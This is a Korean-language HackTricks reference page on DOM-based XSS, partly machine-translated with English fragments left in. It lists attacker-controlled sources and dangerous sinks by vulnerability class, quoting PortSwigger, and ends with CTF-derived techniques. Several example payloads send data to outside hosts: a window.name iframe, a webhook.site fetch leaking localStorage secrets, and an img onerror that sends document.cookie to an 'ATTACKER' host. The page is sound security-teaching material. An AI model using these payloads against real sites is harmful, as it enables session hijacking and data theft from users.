DOM XSS
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
DOM 취약점
DOM 취약점은 공격자가 제어하는 sources(예: location.search, document.referrer, 또는 document.cookie)에서 나온 데이터가 sinks로 안전하지 않게 전달될 때 발생합니다. Sinks는 (예: eval(), document.body.innerHTML) 악성 데이터를 받으면 해로운 콘텐츠를 실행하거나 렌더링할 수 있는 함수나 객체입니다.
- Sources는 공격자가 조작할 수 있는 입력으로, URL, 쿠키, 웹 메시지 등이 포함됩니다.
- Sinks는 악성 데이터가 스크립트 실행과 같은 악영향을 초래할 수 있는 잠재적으로 위험한 엔드포인트입니다.
데이터가 적절한 검증이나 정화 없이 source에서 sink로 흐르면 XSS와 같은 공격이 가능해져 위험이 발생합니다.
Tip
더 업데이트된 sources and sinks 목록은 다음에서 확인할 수 있습니다: https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
innerHTML sink는 최신 브라우저에서 script 요소를 허용하지 않으며, svg onload 이벤트도 실행되지 않습니다. 따라서 img나 iframe 같은 대체 요소를 사용해야 합니다.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
이런 종류의 XSS는 아마도 찾기 가장 어려운 취약점입니다. JS 코드 내부를 살펴보고 공격자가 제어할 수 있는 값(value)을 가진 객체를 사용하고 있는지 확인해야 하며, 그런 경우 이를 악용해 임의의 JS를 실행할 수 있는 방법이 있는지 찾아봐야 합니다.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- 잠재적인 sink에 도달하는 모든 데이터를 확인하는 브라우저 확장: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
Open redirect vulnerabilities in the DOM는 스크립트가 공격자가 제어할 수 있는 데이터를 도메인 간 네비게이션을 유발할 수 있는 sink에 기록할 때 발생합니다.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
리디렉션이 발생하는 URL의 시작 부분을 제어할 수 있다면, javascript:alert(1) 같은 임의의 코드를 실행할 수 있다는 점을 이해하는 것이 중요합니다.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
출처: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities은 스크립트가 공격자가 제어할 수 있는 데이터를 cookie의 값에 포함할 때 발생합니다. 해당 취약점은 cookie가 사이트 내에서 사용되는 경우 웹페이지가 예기치 못한 동작을 하도록 만들 수 있습니다. 또한 cookie가 사용자 세션 추적에 관여하는 경우, 이를 악용하여 session fixation attack을 수행할 수 있습니다. 이 취약점과 관련된 주요 sink는 다음과 같습니다:
Sinks:
document.cookie
JavaScript Injection
출처: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities는 스크립트가 공격자가 제어할 수 있는 데이터를 JavaScript 코드로 실행할 때 발생합니다.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
출처: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities은(는) 공격자가 제어할 수 있는 데이터를 사용하여 스크립트가 document.domain 속성을 설정할 때 발생합니다.
document.domain 속성은 브라우저의 same-origin policy 적용(또는 집행)에 있어 핵심 역할을 합니다. 서로 다른 출처의 두 페이지가 document.domain을 동일한 값으로 설정하면 제약 없이 상호작용할 수 있습니다. 브라우저는 document.domain에 할당할 수 있는 값에 대해 특정 제한을 두어 실제 페이지 출처와 완전히 무관한 값의 할당을 방지하지만, 예외도 존재합니다. 일반적으로 브라우저는 하위 또는 상위 도메인의 사용을 허용합니다.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning은 스크립트가 WebSocket 연결의 대상 URL로서 대상 URL로 사용되는 제어 가능한 데이터를 활용할 때 발생합니다.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities는 스크립트가 현재 페이지 내의 탐색 대상(예: 클릭 가능한 링크나 폼의 전송 URL)에 공격자가 제어할 수 있는 데이터를 쓰는 경우 발생합니다.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
출처: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities는 스크립트가 XmlHttpRequest 객체를 사용하여 전송하는 Ajax 요청에 공격자가 제어할 수 있는 데이터를 쓸 때 발생합니다.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
출처: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities는 스크립트가 filename 파라미터로 attacker-controllable data to a file-handling API를 전달할 때 발생합니다. 이 취약점은 공격자가 URL을 구성하여 다른 사용자가 방문하면 user’s browser opening or writing an arbitrary local file로 이어지게 할 수 있습니다.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
출처: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities은 스크립트가 attacker-controllable data into a client-side SQL query in an unsafe way를 포함할 때 발생합니다.
Sinks:
executeSql()
HTML5-storage manipulation
출처: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities는 스크립트가 웹 브라우저의 HTML5 저장소(localStorage 또는 sessionStorage)에 공격자가 제어하는 데이터를 저장할 때 발생합니다. 이 동작 자체가 본질적으로 보안 취약점은 아니지만, 애플리케이션이 이후에 저장된 데이터를 읽어 안전하지 않게 처리하면 문제가 됩니다. 이는 공격자가 저장소 메커니즘을 이용해 다른 DOM-based 공격(예: cross-site scripting 및 JavaScript injection)을 수행할 수 있게 할 수 있습니다.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities는 스크립트가 attacker-controllable data into an XPath query를 포함할 때 발생합니다.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities는 스크립트가 attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application을 포함할 때 발생한다.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
출처: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities는 스크립트가 브라우저 내의 다른 문서로 attacker-controllable data as a web message to another document를 전송할 때 발생합니다. 취약한 Web-message manipulation의 예시는 PortSwigger’s Web Security Academy에서 확인할 수 있습니다.
Sinks:
postMessage() 메서드는 web messages를 보내는 용도로 사용되며, 수신 메시지를 처리하는 event listener가 들어오는 데이터를 안전하지 않게 처리할 경우 취약점을 초래할 수 있습니다.
DOM-data manipulation
출처: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities는 스크립트가 attacker-controllable data to a field within the DOM를 DOM 내의 필드에 작성하고, 그 필드가 보이는 UI 또는 client-side logic에서 사용될 때 발생합니다. 이 취약점은 공격자가 URL을 구성하여 다른 사용자가 해당 URL을 방문하면 client-side UI의 외형이나 동작을 변경할 수 있도록 악용될 수 있습니다.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities occur when a script passes attacker-controllable data unsafely to a problematic platform API. This includes APIs that, when invoked, can lead the user’s computer to consume excessive amounts of CPU or disk space. Such vulnerabilities can have significant side effects, such as the browser restricting the website’s functionality by rejecting attempts to store data in localStorage or terminating busy scripts.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
암묵적 전역 변수 & window.name 악용
선언문(var/let/const) 없이 name을 참조하면 window.name으로 해석됩니다. window.name은 교차 출처 네비게이션 간에 유지되기 때문에, 공격자는 브라우징 컨텍스트 이름을 HTML/JS로 미리 채워두고 나중에 피해자 코드가 이를 신뢰할 수 있는 데이터로 렌더링하게 할 수 있습니다:
- 공격자가 제어하는 이름 있는 컨텍스트로 타깃을 열거나 이동:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- 또는 정교하게 만든 target name을 사용해
window.open을 재사용:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
만약 애플리케이션이 이후에 element.innerHTML = name (또는 유사한 sink)을 입력 정화 없이 수행하면, 공격자가 제어하는 window.name 문자열이 대상 오리진에서 실행되어 DOM XSS 및 same-origin storage에 접근할 수 있습니다.
관리자/자동화 흐름: 사전 주입된 storage 및 javascript: 네비게이션
자동화 봇(예: Playwright)은 종종 내부 페이지를 먼저 방문해 localStorage/cookies에 비밀을 설정한 다음, 사용자가 제공한 URL로 이동합니다. 해당 흐름에서 발생하는 어떤 DOM XSS primitive(예: window.name 악용 포함)라도 사전 주입된 비밀을 탈취할 수 있습니다:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
If the bot does not restrict schemes, supplying a javascript: URL (javascript:fetch(...)) executes in the current origin without new navigation, directly leaking storage values.
템플릿 리터럴 innerHTML + 부분적 sanitization의 허점
선택된 필드만 sanitize하고 여전히 신뢰할 수 없는 값을 직접 innerHTML에 보간(interpolate)하는 프런트엔드는 매우 쉽게 악용될 수 있습니다. 예:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
검증되지 않은 필드가 서버 측에 저장되는 경우(예: 버그 리포트의 “details”), 페이로드는 목록을 보는 권한 있는 사용자에게 stored DOM XSS가 됩니다. 예를 들어 <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> 같은 간단한 페이로드는 admin이 페이지를 열 때 실행되어 그들의 쿠키를 탈취합니다.
앱에서 SESSION_COOKIE_HTTPONLY을 명시적으로 비활성화하는 경우(예: Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), 탈취된 쿠키는 서명 비밀키가 매 부팅마다 변경되더라도 즉시 admin 세션에 접근 권한을 부여합니다(무작위 secret_key는 토큰 위조를 방지하지만, 쿠키 도난으로 인한 세션 탈취는 여전히 가능합니다).
참고자료
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


